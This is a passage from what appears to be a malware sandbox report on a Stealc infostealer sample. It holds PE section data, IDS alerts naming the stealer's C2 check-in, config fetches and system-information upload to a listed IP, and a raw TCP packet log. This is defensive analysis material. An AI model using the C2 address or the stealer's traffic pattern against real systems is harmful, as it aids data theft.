csmoxrcu	0x4fb000	0x19c000	0x19ba00	2db26e3b0af1e16f4b38aa074850b4f5	False	0.9945652947540237	data	7.9533553454858845	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cmowhcne	0x697000	0x1000	0x400	2c16faa1b0c9ee9a8ccb71b66e4fbb4f	False	0.681640625	data	5.414909162113665	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x698000	0x3000	0x2200	0c3c5b1d4ce5e1bf3f31bb55f12e2677	False	0.0627297794117647	DOS executable (COM)	0.7724261957435747	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-20T08:40:02.446471+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:02.986018+0200	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:02.994343+0200	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-20T08:40:03.343166+0200	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:03.350121+0200	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.37	80	192.168.2.5	49704	TCP
2024-10-20T08:40:04.642641+0200	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:05.340808+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:13.423961+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:14.808199+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:16.145197+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:16.779105+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:19.838486+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP
2024-10-20T08:40:20.821433+0200	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.5	49704	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 20, 2024 08:40:00.881365061 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:00.886375904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:00.886560917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:00.886730909 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:00.891474009 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.035250902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.035336018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.056780100 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.061583042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.446389914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.446470976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.632709026 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.637530088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.985821962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.985846996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:02.986017942 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.987802029 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:02.994343042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342087984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342108965 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342124939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342210054 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342226028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342241049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342654943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.342669010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.343166113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.343229055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.345349073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.350121021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.749622107 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.749680042 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.766586065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.766621113 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:03.771481991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771496058 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771507025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771528959 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771541119 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771555901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:03.771567106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:04.642554998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:04.642641068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:04.990979910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:04.996030092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340708971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340766907 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340801001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340807915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.340833902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.340837002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340853930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.340872049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.340883970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.340919971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341058016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341093063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341108084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341126919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341142893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341160059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341181040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341192961 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341204882 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341239929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.341918945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341969013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.341973066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.342019081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.534955978 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535020113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535041094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535053015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535059929 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535087109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535095930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535120010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535130978 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535162926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535382986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535440922 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535469055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535515070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535515070 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535557985 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535774946 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535821915 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535825014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535859108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535872936 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535892010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535907984 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535926104 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.535933018 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.535970926 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.536632061 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.536679983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.536690950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.536731958 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.536740065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.536772966 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.536784887 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.536804914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.536818027 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.536848068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.537553072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.537585020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.537604094 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.537619114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.537626982 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.537651062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.537662983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.537683010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.537693977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.537729979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.728951931 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729011059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729026079 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729046106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729060888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729094028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729098082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729131937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729147911 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729165077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729178905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729202986 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729217052 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729234934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729258060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729279041 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729283094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729316950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729336023 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729348898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729362011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729382038 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729399920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729415894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729423046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729444981 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.729465008 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.729492903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730047941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730079889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730102062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730123997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730129004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730160952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730180025 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730195045 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730206966 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730226040 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730242968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730258942 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730268002 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730292082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730309963 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730334997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.730954885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.730988026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731009960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731021881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731034994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731054068 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731070995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731086969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731101036 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731121063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731134892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731169939 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731561899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731615067 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731673956 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731705904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731726885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731739998 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731745005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731770992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731787920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731802940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731817961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731837034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731852055 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731870890 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.731884003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.731918097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732541084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732572079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732598066 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732619047 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732621908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732654095 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732670069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732687950 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732701063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732718945 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732739925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732752085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732759953 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732785940 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.732800961 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.732826948 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.733429909 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.733479977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.733479977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.733527899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945154905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945211887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945241928 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945254087 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945266962 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945305109 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945307016 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945350885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945384026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945430040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945432901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945465088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945487976 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945497990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945512056 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945529938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945540905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945574045 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945579052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945626020 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945626974 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945658922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945669889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945691109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945699930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945739031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945818901 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945867062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945868969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945902109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.945913076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945941925 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.945955992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946002007 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946007013 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946039915 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946058989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946070910 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946079969 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946105003 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946115017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946136951 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946147919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946181059 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946187019 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946221113 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946234941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946268082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946274996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946290970 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946304083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946317911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946324110 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946331024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946348906 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946365118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946377993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946388960 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946391106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946404934 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946407080 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946418047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946430922 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946438074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946464062 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946480989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946482897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946512938 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946525097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946546078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946554899 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946578026 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946588993 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946610928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946623087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946645021 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946652889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946677923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946688890 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946711063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946727037 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946743011 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946754932 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946775913 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946788073 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946809053 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946815968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946841002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 20, 2024 08:40:05.946854115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 20, 2024 08:40:05.946872950 CEST	80	49704	185.215.113.37	192.168.2.5
